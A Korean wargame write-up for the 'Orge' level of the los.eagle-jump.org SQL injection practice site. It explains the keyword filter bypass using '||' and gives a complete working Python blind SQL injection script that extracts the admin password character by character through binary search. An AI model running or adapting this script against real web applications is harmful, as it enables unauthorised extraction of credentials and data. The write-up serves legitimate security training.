White Security
Orge 문제풀이 본문
los.eagle-jump.org의 7번째 문제입니다.
이전 문제와 동일하게 or, and 를 막아두었네요.
admin 계정은 addslashes를 통해
이중 점검을 수행하므로
첫번째 쿼리를 통해 admin의 pw값을
알아내는 과정이 필요할 것으로 보입니다.
정상적으로 || 연산자 사용이 가능하니
|| 이후에 비교식을 넣는 것으로
Blind SQL Injection 이 가능합니다.
from urllib import request, parse
import math, sys
def check_true(response): return (response.find(b'Hello admin') != -1);
def if_query(query):
url = 'https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=' \
+ parse.quote("'||id='admin'&&" + query + '-- -')
req = request.Request(url)
req.add_header('Cookie', 'PHPSESSID=qus0d9r31j3mjc9aao7p1o0k30;')
req.add_header('user-agent','Mozilla/5.0')
response = None
while response is None:
try:
response = request.urlopen(req)
except:
pass
output = response.read()
return check_true(output)
def check_greater_than(query, val):
return if_query(query + '>=' + str(val))
def find_char(query):
first = 0
last = 129
while first < last - 1:
mid = math.floor((first + last) / 2)
if check_greater_than(query, mid):
first = mid
else:
last = mid
return chr(first)
def get_length(query):
first = 0
last = 65
query = 'length(' + query + ')'
while first < last - 1:
mid = math.floor((first + last) / 2)
if check_greater_than(query, mid):
first = mid
else:
last = mid
return first
def get_content(name):
name = '(' + name + ')'
content_len = get_length(name);
content = ''
if content_len == 0:
sys.stdout.write('Invalid request\n')
return ''
for idx in range(1, content_len + 1):
content += find_char('ascii(substr(' + name + ', ' + str(idx) + ', 1))')
sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content)))
sys.stdout.write('\n')
return content
content = get_content('pw')
취약점을 이용해 작성한 파이썬3 스크립트 입니다.
Blind SQL Injection을 통해 클리어가 가능했습니다.
'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글
| Vampire 문제풀이 (0) | 2019.01.30 |
|---|---|
| Troll 문제풀이 (0) | 2019.01.30 |
| Darkelf 문제풀이 (0) | 2019.01.30 |
| Wolfman 문제풀이 (0) | 2019.01.30 |
| Orc 문제풀이 (0) | 2019.01.30 |
Comments